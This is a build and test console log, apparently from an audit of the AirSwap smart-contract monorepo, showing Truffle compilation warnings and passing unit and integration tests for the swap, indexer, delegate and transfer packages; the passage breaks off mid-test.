./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with 